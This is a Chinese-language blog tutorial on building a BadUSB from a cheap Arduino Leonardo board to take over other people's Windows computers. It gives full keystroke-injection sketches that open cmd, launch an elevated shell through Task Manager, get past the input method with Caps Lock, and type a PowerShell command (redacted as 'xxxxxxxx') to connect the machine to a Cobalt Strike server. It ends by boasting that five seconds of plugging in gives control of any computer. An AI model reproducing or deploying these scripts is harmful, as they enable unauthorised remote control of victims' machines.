Badusb製作,遠端別人電腦

2023-08-29 12:04:35

Badusb製作

插一下U盤黑一臺電腦,插了我的U盤你可就是我的腦了,()

理論準備

我們要用它就應該知道他的工作原理是怎麼樣的,方便我們去發散思維去使用它。

Badusb的原理是利用HID(Human InterfaceDevice,是計算機直接與人互動的裝置,例如鍵盤、滑鼠等)進行攻擊,將USB裝置偽裝使電腦識別為鍵盤,再利用USB裝置中的微控制晶片,向主機傳送命令,從而實現完全控制主機。

硬體準備

首先在TB花費30左右大洋買一個 Badusb leonardo USB,燒錄過程也比較簡單

badusb外觀就是u盤的模樣,很有迷惑性,不瞭解的人還真分辨不出了

編譯器準備

下載地址:https://www.arduino.cc/en/software,我這裡下載了最新的2.1.1

下載完解壓就行,雙擊exe開啟,開始是英文,點選File->Preferences...,把English改為簡體中文

編譯程式碼

來到這一步,可以選擇先插上Badusb,連線上埠,沒有插上埠這裡就會顯示灰色無法點選

然後在工具中找到開發板中的Arduino Leonardo

看到這個地方變了就行,沒變的話就點選選擇一下

舉一個最簡單的栗子,執行win+r開啟執行執行cmd,在cmd中執行whoami

#include <Keyboard.h>

void setup() {//初始化
   Keyboard.begin();//開始鍵盤通訊 
  delay(5000);//延時
  Keyboard.press(KEY_LEFT_GUI);//win鍵 
  delay(500); 
  Keyboard.press('r');//r鍵 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD");
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(3000); 
  Keyboard.println("whoami");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//結束鍵盤通訊 
}
void loop()//迴圈
{
//
}

然後點選編譯看是否有錯誤

沒有錯誤進行上傳,他會把詳細資訊輸出出來,紅色的跟有錯誤一起,其實沒啥問題

驗證成果

進入cmd的其他方式

通過工作管理員使用管理員許可權執行cmd,不懂得可以手動操作一遍

#include <Keyboard.h>
void setup() {
  Keyboard.begin();                //開始
  delay(2000);                     //等待兩秒
  Keyboard.press(KEY_LEFT_CTRL);   //按下左邊的Ctrl鍵
  Keyboard.press(KEY_LEFT_SHIFT);  //按下左邊的Shift鍵
  Keyboard.press(KEY_ESC);         //按下ESC鍵
  Keyboard.releaseAll();           //鬆開所有按下的鍵(Ctrl,Shift,ESC)
  //以上程式碼執行結果: 開啟工作管理員
  delay(500);                    //等待0.5秒 作用: 等待工作管理員啟動
  Keyboard.press(KEY_LEFT_ALT);  //按下左邊的Alt鍵
  Keyboard.press('f');           //按下f鍵
  Keyboard.release('f');         //鬆開f鍵
  Keyboard.press('n');           //按下n鍵
  Keyboard.releaseAll();         //鬆開所有(n,Alt)
  delay(500);                    //等待0.5秒 作用: 等待執行的啟動
  Keyboard.press(KEY_TAB);       //按下Tab鍵
  Keyboard.release(KEY_TAB);     //鬆開Tab鍵
  Keyboard.press(' ');           //按下空格鍵
  Keyboard.release(' ');         //鬆開空格鍵
  //以上程式碼執行結果: 開啟工作管理員中檔案->執行新任務->勾選以管理員許可權建立此任務
  //(提示: 如果覺得很迷惑,按上面程式碼自己操作一下就明白了)
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock繞過輸入法
  Keyboard.println("cmd");          //在執行中輸入cmd,由於按下了CapsLock所以實際上輸入的是CMD
  delay(3000);                       //等待2秒 作用: 等待cmd的啟動
  Keyboard.println("whoami");       //在cmd中輸入
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();  //結束
}

void loop() {
  // put your main code here, to run repeatedly:
}

上線CS

通過Badusb 上線CS實現遠端控制

以上我們可以看到,插上usb之後他會模擬鍵盤操作,可以就行開啟或輸入的動作,通過此方法來上線CS(遠端控制)

上線的方法有,powershell上線,certutil下載並執行上線等

badusb通過powershell上執行緒式碼:

#include <Keyboard.h>
void setup() {
  Keyboard.begin();                //開始
  delay(2000);                     //等待兩秒
  Keyboard.press(KEY_LEFT_CTRL);   //按下左邊的Ctrl鍵
  Keyboard.press(KEY_LEFT_SHIFT);  //按下左邊的Shift鍵
  Keyboard.press(KEY_ESC);         //按下ESC鍵
  Keyboard.releaseAll();           //鬆開所有按下的鍵(Ctrl,Shift,ESC)
  //以上程式碼執行結果: 開啟工作管理員
  delay(500);                    //等待0.5秒 作用: 等待工作管理員啟動
  Keyboard.press(KEY_LEFT_ALT);  //按下左邊的Alt鍵
  Keyboard.press('f');           //按下f鍵
  Keyboard.release('f');         //鬆開f鍵
  Keyboard.press('n');           //按下n鍵
  Keyboard.releaseAll();         //鬆開所有(n,Alt)
  delay(500);                    //等待0.5秒 作用: 等待執行的啟動
  Keyboard.press(KEY_TAB);       //按下Tab鍵
  Keyboard.release(KEY_TAB);     //鬆開Tab鍵
  Keyboard.press(' ');           //按下空格鍵
  Keyboard.release(' ');         //鬆開空格鍵
  //以上程式碼執行結果: 開啟工作管理員中檔案->執行新任務->勾選以管理員許可權建立此任務
  //(提示: 如果覺得很迷惑,按上面程式碼自己操作一下就明白了)
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock繞過輸入法
  Keyboard.println("cmd");          //在執行中輸入cmd,由於按下了CapsLock所以實際上輸入的是CMD
  delay(3000);                       //等待2秒 作用: 等待cmd的啟動
  Keyboard.println("powershell.exe  xxxxxxxx");       //在cmd中輸入
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();  //結束
}

void loop() {
  // put your main code here, to run repeatedly:
}

找個電腦上u盤,五秒鐘,成功控制該電腦